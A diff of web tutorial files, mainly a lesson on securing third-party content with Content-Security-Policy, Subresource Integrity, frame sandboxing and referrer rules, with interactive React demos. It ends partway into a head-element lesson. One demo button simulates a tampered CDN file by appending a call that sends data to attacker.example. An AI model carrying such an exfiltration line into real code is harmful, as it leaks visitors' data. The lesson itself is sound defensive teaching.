+        <legend>Allowed sources for each kind of resource (your page is {selfOrigin})</legend>
+        {names.map((name) => (
+          <p key={name} style={{margin: "0.2rem 0"}}>
+            <label>
+              <code>{name}</code>{" "}
+              <input
+                type="text"
+                value={policy[name] || ""}
+                onChange={(event) => setPolicy((old) => ({...old, [name]: event.target.value}))}
+                style={{width: "100%", maxWidth: "22rem", fontFamily: "monospace"}}
+              />
+            </label>
+          </p>
+        ))}
+      </fieldset>
+      <pre style={{margin: "0 0 0.6rem", whiteSpace: "pre-wrap", fontSize: "0.85em"}}><code>{header}</code></pre>
+      <table>
+        <caption>What would happen to each resource on the page</caption>
+        <thead>
+          <tr><th scope="col">Resource</th><th scope="col">Address</th><th scope="col">Checked by</th><th scope="col">Result</th></tr>
+        </thead>
+        <tbody>
+          {results.map((entry) => (
+            <tr key={entry.id}>
+              <th scope="row" style={{textAlign: "start"}}>{entry.label}</th>
+              <td><code>{entry.url}</code></td>
+              <td><code>{(policy[directiveFor[entry.kind]] || "").trim() ? directiveFor[entry.kind] : "default-src"}</code></td>
+              <td style={{color: entry.allowed ? "#15803d" : reportOnly ? "#b45309" : "#b91c1c"}}>
+                {entry.allowed ? "Loads" : reportOnly ? "Loads, but is reported" : "Blocked"}
+              </td>
+            </tr>
+          ))}
+        </tbody>
+      </table>
+      <p role="status" style={{margin: "0.5rem 0 0"}}>
+        {blocked === 0
+          ? "Everything loads. If that includes the tracker and the inline script, the policy is not protecting you."
+          : blocked + " of " + results.length + " resources " + (reportOnly ? "would be blocked. In report-only mode they still load, and the browser sends a report, so you can test safely." : "are blocked.")}
+      </p>
+      <p style={{margin: "0.4rem 0 0", fontSize: "0.9em", color: "#64748b"}}>
+        This is a simplified model of how a browser compares each resource with your policy, so you can see the idea. Real policies have more directives and rules, so always test yours in the browser's console.
+      </p>
+    </div>
+  );
+}
+
+export function SriDemo() {
+  const original = "console.log('library v1.2.3 loaded');";
+  const [expected, setExpected] = useState(original);
+  const [actual, setActual] = useState(original);
+  const [algo, setAlgo] = useState("sha384");
+  const [hashes, setHashes] = useState({expected: "…", actual: "…"});
+  const [unsupported, setUnsupported] = useState(false);
+  const names = {sha256: "SHA-256", sha384: "SHA-384", sha512: "SHA-512"};
+  useEffect(() => {
+    let cancelled = false;
+    async function digest(text) {
+      const buffer = await crypto.subtle.digest(names[algo], new TextEncoder().encode(text));
+      let binary = "";
+      new Uint8Array(buffer).forEach((byte) => { binary += String.fromCharCode(byte); });
+      return algo + "-" + btoa(binary);
+    }
+    if (typeof crypto === "undefined" || !crypto.subtle) {
+      setUnsupported(true);
+      return undefined;
+    }
+    Promise.all([digest(expected), digest(actual)]).then(([a, b]) => {
+      if (!cancelled) setHashes({expected: a, actual: b});
+    });
+    return () => { cancelled = true; };
+  }, [expected, actual, algo]);
+  if (unsupported) return <p role="status">This browser does not offer the hashing tools needed for this demo (they need a secure page, https or localhost).</p>;
+  const match = hashes.expected === hashes.actual;
+  return (
+    <div>
+      <p style={{margin: "0 0 0.5rem"}}>
+        <label>Hash algorithm{" "}
+          <select value={algo} onChange={(event) => setAlgo(event.target.value)}>
+            <option value="sha256">sha256</option>
+            <option value="sha384">sha384 (common choice)</option>
+            <option value="sha512">sha512</option>
+          </select>
+        </label>
+      </p>
+      <p style={{margin: "0 0 0.5rem"}}>
+        <label htmlFor="sri-expected" style={{display: "block"}}>The file you checked and pinned (when you wrote your page)</label>
+        <textarea id="sri-expected" rows={2} value={expected} onChange={(event) => setExpected(event.target.value)} spellCheck={false} style={{width: "100%", fontFamily: "monospace"}} />
+      </p>
+      <p style={{margin: "0 0 0.5rem"}}>
+        <label htmlFor="sri-actual" style={{display: "block"}}>The file the CDN serves today</label>
+        <textarea id="sri-actual" rows={3} value={actual} onChange={(event) => setActual(event.target.value)} spellCheck={false} style={{width: "100%", fontFamily: "monospace"}} />
+      </p>
+      <p style={{display: "flex", gap: "0.5rem", flexWrap: "wrap", margin: "0 0 0.5rem"}}>
+        <button type="button" onClick={() => setActual(expected + "\nsendDataTo('https://attacker.example');")}>Simulate a tampered file</button>
+        <button type="button" onClick={() => setActual(expected)}>Restore the original</button>
+      </p>
+      <pre style={{margin: "0 0 0.5rem", whiteSpace: "pre-wrap", wordBreak: "break-all", fontSize: "0.85em"}}><code>{'<script src="https://cdn.example.com/lib@1.2.3.js"\n        integrity="' + hashes.expected + '"\n        crossorigin="anonymous"></script>'}</code></pre>
+      <p style={{margin: "0 0 0.3rem", wordBreak: "break-all", fontSize: "0.85em"}}><strong>Hash of what the CDN serves:</strong> <code>{hashes.actual}</code></p>
+      <p role="status" style={{margin: 0, color: match ? "#15803d" : "#b91c1c"}}>
+        {match
+          ? "The hashes match, so the browser runs the script."
+          : "The hashes differ, so the browser refuses to run the script, and reports an integrity error. Your page loses the library, but your visitors are protected."}
+      </p>
+    </div>
+  );
+}
+
+export function ReviewChecklist() {
+  const items = [
+    "I know who the third party is, and why I need them",
+    "The content is loaded over https",
+    "It is loaded only after consent, where the law requires it",
+    "Heavy embeds load on click, or lazily",
+    "Frames have a title, and a sandbox where possible",
+    "Permissions (camera, location, and so on) are denied unless needed",
+    "Scripts from a CDN are version-pinned, with integrity hashes where possible",
+    "A Content-Security-Policy limits where code and frames can come from",
+    "The page still works if the third party is slow, blocked, or down",
+    "I have checked the widget with a keyboard and a screen reader",
+    "I have read their privacy terms, and listed them in my own privacy notice",
+    "I review and remove embeds I no longer use",
+  ];
+  const [checked, setChecked] = useState({});
+  const done = items.filter((_, index) => checked[index]).length;
+  const percent = Math.round((done / items.length) * 100);
+  return (
+    <form onSubmit={(event) => event.preventDefault()}>
+      <fieldset>
+        <legend>Before you add third-party content</legend>
+        {items.map((text, index) => (
+          <p key={text} style={{margin: "0.2rem 0"}}>
+            <label><input type="checkbox" checked={!!checked[index]} onChange={() => setChecked((old) => ({...old, [index]: !old[index]}))} /> {text}</label>
+          </p>
+        ))}
+      </fieldset>
+      <p style={{margin: "0.6rem 0 0.2rem"}}>
+        <progress max="100" value={percent} aria-label="Checklist progress" style={{width: "12rem", verticalAlign: "middle"}} /> {done} of {items.length}
+      </p>
+      <p role="status" style={{margin: 0}}>{done === items.length ? "Every item is ticked. Keep reviewing it as things change." : "Tick each item you have really checked."}</p>
+    </form>
+  );
+}
+
+Imagine you invite a guest into your home. You know your own family, but you do not know everything about your guest, or the friends they bring. If a guest is careless, or has bad intentions, they can make a mess of your house, or watch what your family does, and **your visitors will blame you.**
+
+Every time your page loads something from **another website** (a video player, a map, an analytics script, a font, a chat widget, an advert, a library from a CDN), you are inviting a guest into your page. This final lesson in the section teaches you how to be a careful host.
+
+<AdsComponent />
+<br />
+
+## What You Will Learn
+
+- What counts as third-party content, and what can go wrong
+- Controlling what may load, with **Content-Security-Policy**
+- Checking that a file has not changed, with **Subresource Integrity**
+- Restricting frames with `sandbox`, `allow`, and **Permissions-Policy**
+- Controlling what other sites learn, with referrer rules
+- Consent, privacy, and the click-to-load pattern
+- Reviewing, monitoring, and planning for incidents
+
+## What Is Third-Party Content?
+
+**First-party** content is served by you, from your own site. **Third-party** content is served by someone else, but shown on your page.
+
+| Kind | Examples |
+| :-- | :-- |
+| **Scripts** | Analytics, advertising, chat widgets, tag managers, libraries from a CDN |
+| **Frames** | Video players, maps, payment forms, social posts, booking widgets |
+| **Styles and fonts** | Font services, CSS libraries |
+| **Images and pixels** | Adverts, tracking pixels, images hosted elsewhere |
+| **Data calls** | Requests from your scripts to someone else's API |
+| **Links and redirects** | Links out, or short-link services |
+
+Much of the modern web is made of these. They save time and give features you could not build yourself. But each one comes with **trust** attached.
+
+## What Can Go Wrong?
+
+| Risk | What happens |
+| :-- | :-- |
+| **A script is changed or hacked** (a "supply chain" attack) | Harmful code runs on your page, with the same power as your own: it can read what visitors type, change the page, and send data away |
+| **Tracking** | The third party sees who visited which page, and sets cookies, often across many sites |
+| **Slow or broken services** | Your page hangs, or breaks, because someone else's server is down |
+| **Malicious adverts or widgets** | Pop-ups, redirects, fake warnings, or downloads appear on your page |
+| **Clickjacking** | Someone frames your page invisibly, and tricks visitors into clicking on it |
+| **Excess permissions** | A frame asks for the camera, microphone, or location |
+| **Leaked information** | The address of the page, including private parts, is sent to the third party in the referrer |
+| **Privacy and legal problems** | Loading trackers without consent can break the law in many places |
+
+**A third-party script has the same power as your own code.** If you load it, you trust it with your visitors' data. That is why the rest of this lesson matters.
+
+## Defence in Layers
+
+No single tool solves everything. Good security uses **layers**, so that one failure does not mean total failure:
+
+| Layer | Tool | What it does |
+| :-- | :-- | :-- |
+| 1. **Choose well** | Review, remove, self-host | Fewer guests, and ones you trust |
+| 2. **Limit what may load** | Content-Security-Policy | Only allowed sources can run or show |
+| 3. **Check what loads** | Subresource Integrity | A changed file is refused |
+| 4. **Fence it in** | `sandbox`, `allow`, Permissions-Policy | Embedded content gets only the permissions it needs |
+| 5. **Say less** | Referrer-Policy, `rel`, cookies | Other sites learn less about your visitors |
+| 6. **Ask first** | Consent, click-to-load | Nothing loads until the visitor agrees |
+| 7. **Plan for failure** | Fallbacks, monitoring, incident plan | The page still works, and you notice problems |
+
+## Layer 2: Content-Security-Policy
+
+A **Content-Security-Policy (CSP)** is a rule list, sent by your server in a response header. It tells the browser **where each kind of content is allowed to come from.** Anything else is blocked, even if an attacker managed to put it on your page.
+
+```text
+Content-Security-Policy:
+  default-src 'self';
+  script-src 'self' https://cdn.example.com;
+  frame-src https://player.example.com;
+  img-src 'self' data:;
+  connect-src 'self' https://api.shop.example;
+  object-src 'none';
+  base-uri 'self';
+  frame-ancestors 'self'
+```
+
+| Directive | Controls |
+| :-- | :-- |
+| `default-src` | The fallback for any directive you do not set |
+| `script-src` | Where scripts may come from, and whether inline scripts run |
+| `style-src` | Stylesheets |
+| `img-src` | Images |
+| `connect-src` | `fetch`, XHR, WebSocket, and similar calls |
+| `frame-src` | Which pages **you** may embed in frames |
+| `frame-ancestors` | Which sites may embed **your** page (the defence against clickjacking) |
+| `object-src` | `object` and `embed` content. `'none'` is a good choice |
+| `base-uri` | Which addresses `<base>` may use |
+
+Common source values: `'self'` (your own origin), `'none'` (nothing), `https:` (any secure address), a specific origin such as `https://cdn.example.com`, and `data:`. Note the quotes around `'self'` and `'none'`.
+
+### Try It: Write a Policy
+
+Edit the allowed sources. The table shows what would happen to ten typical resources. Try the **too-loose** policy, the **report-only** switch, and removing `'unsafe-inline'`.
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```text title="Response header"
+Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; frame-src https://player.example.com; img-src 'self' data:; connect-src 'self'
+```
+
+```html title="Or, as a fallback, in the page (some directives are ignored here)"
+<meta http-equiv="Content-Security-Policy"
+      content="default-src 'self'; script-src 'self' https://cdn.example.com">
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<CspLab />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+### CSP in Practice
+
+- **Prefer the header** to the `<meta>` tag. The meta version cannot use some directives, such as `frame-ancestors`, and it only applies after the browser has read it.
+- **Avoid `'unsafe-inline'` and `'unsafe-eval'`** for scripts. They allow the very kind of code that attacks use. If you must have inline scripts, use a **nonce** (a random value, new on every response: `script-src 'nonce-R4nd0m'`, and `<script nonce="R4nd0m">`) or a **hash**.
+- **Start in report-only mode.** Send `Content-Security-Policy-Report-Only` first. The browser **allows** everything, but **reports** what would be blocked. Fix the problems, then switch to the enforcing header.
+- **Watch the console.** Blocked resources appear as errors in the browser's developer tools.
+- **Be specific.** `https:` or `*` allows far more than you intend.
+- **Keep it up to date.** Each new widget you add may need a new entry, which is a good moment to ask whether you need it.
+- **CSP limits damage, but is not a cure.** Keep your own code safe too (escape output, validate input).
+
+## Layer 3: Subresource Integrity
+
+When you load a library from a CDN, you trust that the CDN serves the **same file tomorrow** as today. **Subresource Integrity (SRI)** removes that assumption. You put a **hash** (a fingerprint) of the file in your page. If the file changes by even one character, the fingerprint no longer matches, and the browser **refuses to run it.**
+
+```html
+<script
+  src="https://cdn.example.com/lib@1.2.3/lib.min.js"
+  integrity="sha384-BASE64HASHGOESHERE"
+  crossorigin="anonymous"></script>
+
+<link
+  rel="stylesheet"
+  href="https://cdn.example.com/lib@1.2.3/lib.min.css"
+  integrity="sha384-BASE64HASHGOESHERE"
+  crossorigin="anonymous">
+```
+
+### Try It: Break the Fingerprint
+
+The demo below really calculates the hashes in your browser. Press **Simulate a tampered file** and watch the second hash change, and the verdict flip.
+
+<Tabs>
+<TabItem value="code" label="HTML Code" default>
+
+```bash title="Make a hash on the command line"
+curl -s https://cdn.example.com/lib@1.2.3/lib.min.js \
+  | openssl dgst -sha384 -binary \
+  | openssl base64 -A
+# then write: integrity="sha384-" followed by the output
+```
+
+```js title="Or in JavaScript"
+const bytes = new TextEncoder().encode(fileText);
+const buffer = await crypto.subtle.digest("SHA-384", bytes);
+const hash = btoa(String.fromCharCode(...new Uint8Array(buffer)));
+console.log("sha384-" + hash);
+```
+
+</TabItem>
+<TabItem value="output" label="Browser Output">
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<SriDemo />
+</>
+</BrowserWindow>
+
+</TabItem>
+</Tabs>
+
+Rules for SRI:
+
+- **Pin the exact version** in the address (`lib@1.2.3`), never "latest". A file that is meant to change will fail its own hash.
+- **Use it only for files that do not change**, such as versioned libraries. It does not suit analytics or advert scripts, which change often by design.
+- **Add `crossorigin="anonymous"`.** The CDN must send CORS headers, or the check will fail.
+- **Have a plan for a failed check.** The script will not run, so the page needs a fallback.
+- **Better still, host the file yourself** when you can. Then you control it.
+
+## Layer 4: Fence It In
+
+### Frames: `sandbox` and `allow`
+
+As you saw in [Iframe](./iframe), the `sandbox` attribute removes permissions from a frame, and you add back only what is needed. The `allow` attribute grants powerful features such as fullscreen, camera, microphone, or location, which are off by default for frames from other sites.
+
+```html
+<iframe
+  src="https://player.example.com/embed/42"
+  title="Interview with a baker (video, 12 minutes)"
+  sandbox="allow-scripts allow-same-origin allow-presentation"
+  allow="fullscreen; picture-in-picture"
+  referrerpolicy="strict-origin-when-cross-origin"
+  loading="lazy"></iframe>
+```
+
+Remember the warning: **do not combine `allow-scripts` and `allow-same-origin` for content from your own origin.**
+
+### Permissions-Policy
+
+The **`Permissions-Policy`** response header sets, for your whole page, which powerful features may be used at all, by you and by any frames:
+
+```text
+Permissions-Policy: camera=(), microphone=(), geolocation=(self), payment=()
+```
+
+An empty list `()` means "nobody, including me". `(self)` means only your own origin. It is a useful safety net: even if a third-party widget asks for the camera, the answer is no.
+
+### Your own pages: `frame-ancestors`
+
+To stop others from framing **your** pages (clickjacking), send:
+
+```text
+Content-Security-Policy: frame-ancestors 'self'
+```
+
+`X-Frame-Options: DENY` or `SAMEORIGIN` is an older header that does a similar job.
+
+## Layer 5: Say Less
+
+### Referrer-Policy
+
+When a visitor's browser loads a third-party resource or follows a link, it may tell the other site **which page it came from**. That address can include private information (a search term, an account number, a reset token). Limit it:
+
+```text
+Referrer-Policy: strict-origin-when-cross-origin
+```
+
+This sends the full address only within your own site, and only the origin (the site name) to others, and nothing at all on a drop from https to http. For something sensitive, use `no-referrer`. You can also set it per element with `referrerpolicy="no-referrer"` on iframes, images, scripts, and links.
+
+**Never put secrets in addresses** (tokens, passwords, personal data). Addresses leak into logs, history, and referrers.
+
+### Links
+
+```html
+<a href="https://other.example" target="_blank" rel="noopener noreferrer">Visit their site</a>
+```
+
+- **`rel="noopener"`** stops the new tab from controlling your page through `window.opener`. Current browsers do this by default for `target="_blank"`, but writing it costs nothing, and helps older ones.
+- **`rel="noreferrer"`** also stops the referrer from being sent.
+- For links in **user-written content**, use `rel="ugc nofollow noopener noreferrer"`, and for adverts or paid links, `rel="sponsored"`.
+
+### Cookies
+
+Cookies set by third parties can follow visitors from site to site. For your own cookies, use the safe attributes: `Secure`, `HttpOnly`, and `SameSite=Lax` (or `Strict`).
+
+```text
+Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/
+```
+
+Many browsers now block or limit third-party cookies, but do not rely on that. Plan as if trackers can still see your visitors.
+
+## Layer 6: Ask First, and Load Later
+
+- **Consent.** In many places (the EU, the UK, and increasingly elsewhere), the law requires you to get a visitor's agreement **before** loading trackers and some third-party content, and to make "reject" as easy as "accept". Rules vary by place and over time, so check what applies to you. This lesson is not legal advice.
+- **Click-to-load.** Show a placeholder, and create the frame or load the script only when the visitor asks. Nothing is sent to the third party until then. See the example in [Maps](./maps).
+- **Make consent accessible.** A cookie banner must work with a keyboard and a screen reader, must not trap focus, and must not cover the page's content.
+- **Be honest in your privacy notice.** List the third parties, what they receive, and why.
+
+## Layer 1 and 7: Choose Well, and Plan for Failure
+
+- **Keep an inventory.** List every third party your site loads from. Open the browser's network panel, and see who is really there. Sites are often surprised.
+- **Remove what you do not need.** Every widget is a risk, and a cost in speed.
+- **Self-host where you can:** libraries, fonts, and images. You control them, and you save a connection.
+- **Be careful with tag managers.** They let people add scripts without a code review. Restrict who can publish, and review what is added.
+- **Choose reputable providers,** and read their security and privacy information. Check that they are accessible, too.
+- **Load third-party scripts with `async` or `defer`,** so a slow server does not block your page.
+- **Make the page work without them.** If the chat widget, the map, or the analytics script fails, the page should still do its job.
+- **Watch for changes.** Use CSP reports, and check your page regularly for new requests.
+- **Have an incident plan.** Know how you would remove a compromised script quickly, who decides, and how you would tell your visitors.
+
+### Try It: Review Before You Embed
+
+Use this checklist whenever you add something to your page, and again every few months.
+
+<BrowserWindow url="http://127.0.0.1:5500/index.html">
+<>
+<ReviewChecklist />
+</>
+</BrowserWindow>
+
+## Untrusted Content from Your Own Visitors
+
+Third-party content is not only other companies. **Your visitors' words are also untrusted:** comments, profile names, uploaded files.
+
+- **Show text with `textContent`,** never `innerHTML`.
+- **If you must allow some HTML,** clean it with a well-tested sanitiser library, on the server, and again before inserting it.
+- **Show uploaded SVG with `img`,** not inline or in `object`, and clean uploads on the server.
+- **Escape values** when you put them into attributes, links, and scripts.
+- **Check file type and size** on the server, and serve uploads from a **separate domain**, so a harmful file cannot reach your main site's cookies.
+
+## Accessibility at a Glance
+
+- **You inherit the accessibility of what you embed.** A widget that traps keyboard focus, or has no labels, makes your page inaccessible, whoever wrote it.
+- **Ask vendors for an accessibility statement,** and test their widgets with a keyboard and a screen reader before adding them.
+- **Give every frame a `title`.**
+- **Make security tools accessible:** cookie banners, consent buttons, and CAPTCHAs must be usable by everyone, with an alternative for CAPTCHAs.
+- **Provide a text alternative** if a third-party service fails or is blocked.
+- **Do not let sandboxing or blocking silently break** features people rely on. Provide a link to the content.
+
+## Global Audience Notes
+
+- **Laws differ:** consent, data transfer, and tracking rules change from region to region. A design that works in one country may not be enough in another.
+- **Some services are blocked or slow in some countries.** If a blocked script stops your page working, visitors there get nothing. Make third-party content optional, and give plain links.
+- **Third-party embeds can make pages heavy.** Many visitors are on slow or metered connections. Click-to-load and lazy loading help them most.
+- **Tell visitors in their language** what is loaded and why. Translate your consent text and privacy notice.
+- **Data may cross borders** when you use a third-party service. Know where it goes, and say so.
+- **Test from different regions and networks,** not only your own.
+
+## Common Mistakes to Avoid
+
+1. **Loading third-party scripts without knowing what they do.**
+2. **No Content-Security-Policy,** or one so loose it does nothing (`*`, `'unsafe-inline'`).
+3. **Switching on CSP without testing it in report-only mode first.**
+4. **Loading a CDN file with "latest" and no integrity hash.**
+5. **Using SRI on a file that is meant to change.**
+6. **Iframes with no `sandbox`,** and no `title`.
+7. **`allow-scripts` plus `allow-same-origin` on your own content.**
+8. **Granting camera, microphone, or location to frames that do not need them.**
+9. **Secrets in addresses,** which then leak through the referrer.
+10. **Loading trackers before consent.**
+11. **A page that breaks when a third party is slow or blocked.**
+12. **Never reviewing,** so old widgets and forgotten scripts stay on the page for years.
+
+## Practice Time
+
+Try these in your editor or in your browser's developer tools:
+
+1. Open the network panel on a real site you made, and list every third-party host.
+2. Remove one you do not really need.
+3. Add a `<meta>` CSP to a test page, and see what it blocks in the console.
+4. Switch to `Content-Security-Policy-Report-Only` on a test server, and read a report.
+5. Add an inline script with and without `'unsafe-inline'`, and see the difference.
+6. Add `integrity` and `crossorigin` to a script from a CDN. Then change one character in the hash, and watch it be refused.
+7. Add `sandbox` to an iframe, and add back one permission at a time.
+8. Add `referrerpolicy="no-referrer"` to a frame, and compare the requests.
+9. Replace an auto-loading map or video with a click-to-load button.
+10. Bonus: use the checklist above on your own site, and fix the first three items you cannot tick.
+
+<AdsComponent />
+<br />
+
+## Quick Recap
+
+Click a question to check your answer.
+
+<details>
+<summary>1. Why is a third-party script risky?</summary>
+
+It runs with the same power as your own code. If the provider is hacked, or the file is changed, it can read what visitors type, change the page, and send data away, and your visitors will blame you.
+
+</details>
+
+<details>
+<summary>2. What does a Content-Security-Policy do?</summary>
+
+It tells the browser where each kind of content (scripts, frames, images, connections) may come from, and blocks everything else, even if an attacker managed to inject it.
+
+</details>
+
+<details>
+<summary>3. Why start with report-only mode?</summary>
+
+In `Content-Security-Policy-Report-Only`, the browser allows everything but reports what would have been blocked. You can fix the problems before enforcing the policy, so nothing breaks.
+
+</details>
+
+<details>
+<summary>4. What does Subresource Integrity protect against?</summary>
+
+A file being changed after you pinned it, for example a CDN being compromised. The page includes a hash of the expected file, and the browser refuses to run any file that does not match.
+
+</details>
+
+<details>
+<summary>5. How do you stop other sites from framing your page?</summary>
+
+Send `Content-Security-Policy: frame-ancestors 'self'` (or a list of allowed sites). The older `X-Frame-Options` header does a similar job.
+
+</details>
+
+<details>
+<summary>6. How can you reduce what a third party learns about your visitors?</summary>
+
+Use click-to-load, ask for consent first, set `Referrer-Policy` or `referrerpolicy`, limit permissions with `sandbox`, `allow`, and Permissions-Policy, and never put secrets in addresses.
+
+</details>
+
+## Key Takeaways
+
+- **Every third-party script, frame, and font is a guest on your page,** with real power, and your visitors will hold you responsible.
+- Defend in **layers**: choose well, limit what loads, check what loads, fence it in, say less, ask first, and plan for failure.
+- Use **Content-Security-Policy** (start in report-only mode), and avoid `'unsafe-inline'` and wildcards.
+- Use **Subresource Integrity** with pinned versions for static libraries, and self-host when you can.
+- Use **`sandbox`, `allow`, Permissions-Policy, `frame-ancestors`, and `Referrer-Policy`** to restrict frames and what is shared.
+- Get **consent** where the law requires it, and use **click-to-load** for heavy or tracking embeds.
+- Make pages **work without** third parties, load scripts with `async` or `defer`, and keep an inventory you review regularly.
+- Treat **visitors' content** as untrusted too: use `textContent`, sanitise HTML, and show uploads safely.
+- Remember that you **inherit the accessibility** of everything you embed.
+
+Congratulations, you have finished the Embedded Content section. You can now embed pages, files, graphics, and maps, draw with SVG and canvas, and keep it all safe and accessible. Return to the [Embedded Content overview](../embedded-content) to review the lessons, or revisit [Iframe](./iframe) for the full set of frame options.
\ No newline at end of file
diff --git a/tutorials/html/12-html-head/head.mdx b/tutorials/html/12-html-head/head.mdx
index 17efc29aa..e85cd2b57 100644
--- a/tutorials/html/12-html-head/head.mdx
+++ b/tutorials/html/12-html-head/head.mdx
@@ -1,15 +1,20 @@
 ---
 id: head-element
-title: "Document Metadata Container: The head Element"
-sidebar_label: "Head Container (<head>)"
+title: "The HTML Head Element"
+sidebar_label: "Head"
 sidebar_position: 3
 slug: /html/html-head/head
-description: "Understand the structural role of the head tag in holding machine-readable information, metadata, stylesheets, and scripts before body rendering."
+description: "Learn what belongs inside the HTML head element, what does not, and what the browser does when you break the rules. Includes a live parser lab that shows where the browser really puts each element, and a simulation of how script loading affects your page."
 keywords:
-  - HTML head tag
-  - document head element
-  - metadata container HTML
-  - web page head section
+  - HTML head element
+  - head tag
+  - what goes in the head
+  - head vs body
+  - HTML document metadata
+  - defer async script
+  - head element order
+  - HTML parser head closes early
+  - learn HTML
   - CodeHarborHub HTML
-tags: [html, head, metadata, elements]
+tags: [html, web-development, beginner, head, metadata, parsing, performance, frontend]
 ---
\ No newline at end of file
diff --git a/tutorials/html/12-html-head/html.mdx b/tutorials/html/12-html-head/html.mdx
index 75c57343e..57d649cd9 100644
--- a/tutorials/html/12-html-head/html.mdx
+++ b/tutorials/html/12-html-head/html.mdx
@@ -1,15 +1,21 @@
 ---
 id: html-element
-title: "The Root Container: The html Element and lang Attribute"
-sidebar_label: "Root Element (<html>)"
+title: "The HTML Element, Doctype and lang"
+sidebar_label: "HTML"
 sidebar_position: 2
 slug: /html/html-head/html
-description: "Learn how the html tag acts as the top-level root element and why setting explicit lang attributes is vital for accessibility and localized search."
+description: "Learn the root of every web page: the doctype, the html element, the lang and dir attributes, how the document is split into head and body, and what happens when you leave them out. Includes a live document-skeleton builder and a quirks-mode check."
 keywords:
-  - HTML html tag
-  - root html element
-  - html lang attribute
-  - document root language
+  - HTML element
+  - html root element
+  - DOCTYPE html
+  - lang attribute
+  - dir attribute rtl
+  - HTML document structure
+  - quirks mode standards mode
+  - head and body
+  - HTML skeleton
+  - learn HTML
   - CodeHarborHub HTML
-tags: [html, head, root, accessibility]
+tags: [html, web-development, beginner, html-element, doctype, lang, accessibility, frontend]
 ---
\ No newline at end of file
diff --git a/tutorials/html/12-html-head/index.mdx b/tutorials/html/12-html-head/index.mdx
index 80b7dd3b2..07fe9ddd6 100644
--- a/tutorials/html/12-html-head/index.mdx
+++ b/tutorials/html/12-html-head/index.mdx
@@ -1,15 +1,506 @@
 ---
 id: html-head-overview
-title: "Document Metadata and the HTML Head Element"
+title: "HTML Head and Metadata"
 sidebar_label: "HTML Head"
 sidebar_position: 1
 slug: /html/html-head
-description: "Master document metadata, character encodings, viewport settings, external asset linking, and head optimizations with CodeHarborHub."
+description: "Start learning the HTML head: what goes inside it, how html, head, title, meta, charset, viewport, link, favicon, style, script and base work together, who reads each tag, and a live look at the head of a real page, with a clickable map of every head element."
 keywords:
-  - HTML head overview
-  - HTML metadata guide
-  - head element tutorial
-  - document head configuration
+  - HTML head element
+  - HTML metadata
+  - HTML head tags explained
+  - meta charset viewport title
+  - link style script base
+  - favicon HTML
+  - SEO meta tags HTML
+  - document head best practices
+  - HTML head template
+  - learn HTML
   - CodeHarborHub HTML
-tags: [html, head, metadata, beginner]
----
\ No newline at end of file
+tags: [html, web-development, beginner, head, metadata, seo, accessibility, frontend]
+---
+
+import {useState} from 'react';
+
+export const headParts = [
+  {
+    key: "charset",
+    code: '<meta charset="utf-8">',
+    does: "Tells the browser how to turn the bytes of the file into letters.",
+    who: "Browsers",
+    missing: "Accented letters, symbols, and non-English text can turn into garbage characters.",
+    lesson: "Charset",
+  },
+  {
+    key: "viewport",
+    code: '<meta name="viewport" content="width=device-width, initial-scale=1">',
+    does: "Tells phones to use the real screen width, instead of pretending to be a wide desktop screen.",
+    who: "Mobile browsers",
+    missing: "Phones show a tiny, zoomed-out copy of your desktop layout.",
+    lesson: "Viewport",
+  },
+  {
+    key: "title",
+    code: "<title>Sourdough for Beginners | The Bread Bin</title>",
+    does: "Names the page.",
+    who: "Browser tabs, bookmarks, history, search results, screen readers, shared links",
+    missing: "Tabs and results show the web address, or “Untitled”. It is also a basic accessibility failure.",
+    lesson: "Title",
+  },
+  {
+    key: "description",
+    code: '<meta name="description" content="A gentle, step-by-step guide to your first sourdough loaf.">',
+    does: "Offers a short summary of the page.",
+    who: "Search engines (which may use it, or write their own)",
+    missing: "The search engine chooses a snippet from your text instead.",
+    lesson: "Meta",
+  },
+  {
+    key: "canonical",
+    code: '<link rel="canonical" href="https://example.com/sourdough">',
+    does: "Names the preferred address when the same page can be reached in several ways.",
+    who: "Search engines",
+    missing: "Search engines may treat copies of the page as separate pages, and split their ranking.",
+    lesson: "Link",
+  },
+  {
+    key: "icon",
+    code: '<link rel="icon" href="/favicon.svg" type="image/svg+xml">',
+    does: "Points to the small picture shown in the tab and in bookmarks.",
+    who: "Browsers, bookmarks, search results",
+    missing: "Browsers ask for a default file, show a blank icon, and add an error to your server log.",
+    lesson: "Favicon",
+  },
+  {
+    key: "stylesheet",
+    code: '<link rel="stylesheet" href="/css/site.css">',
+    does: "Loads an external CSS file.",
+    who: "Browsers",
+    missing: "The page shows with only the browser's plain default styling.",
+    lesson: "Link and Style",
+  },
+  {
+    key: "style",
+    code: "<style>body { margin: 0; }</style>",
+    does: "Holds CSS directly in the page.",
+    who: "Browsers",
+    missing: "Nothing breaks, but you lose styles you wrote inline.",
+    lesson: "Style",
+  },
+  {
+    key: "script",
+    code: '<script src="/js/app.js" defer></script>',
+    does: "Loads JavaScript without stopping the page from showing.",
+    who: "Browsers",
+    missing: "The interactive parts of the page do not work.",
+    lesson: "Script",
+  },
+  {
+    key: "base",
+    code: '<base href="https://example.com/docs/">',
+    does: "Sets the starting address for every relative link and file on the page.",
+    who: "Browsers",
+    missing: "Relative links start from the page's own address, which is usually what you want.",
+    lesson: "Base",
+  },
+  {
+    key: "og",
+    code: '<meta property="og:title" content="Sourdough for Beginners">',
+    does: "Describes the page for link previews (the card you see when a link is shared).",
+    who: "Social networks and messaging apps",
+    missing: "The preview may show only a plain address, or guess a title and picture.",
+    lesson: "Metadata Best Practices",
+  },
+  {
+    key: "theme",
+    code: '<meta name="theme-color" content="#1d4ed8">',
+    does: "Suggests a colour for the browser's own toolbar.",
+    who: "Some mobile browsers",
+    missing: "The browser uses its normal toolbar colour.",
+    lesson: "Meta",
+  },
+];
+
+export function HeadExplorer() {
+  const [key, setKey] = useState("title");
+  const current = headParts.find((part) => part.key === key);
+  return (
+    <div>
+      <fieldset style={{margin: "0 0 0.6rem"}}>
+        <legend>Pick something from the head</legend>
+        {headParts.map((part) => (
+          <label key={part.key} style={{display: "inline-block", marginRight: "0.9rem", marginBottom: "0.2rem"}}>
+            <input type="radio" name="head-part" checked={key === part.key} onChange={() => setKey(part.key)} /> <code>{part.key}</code>
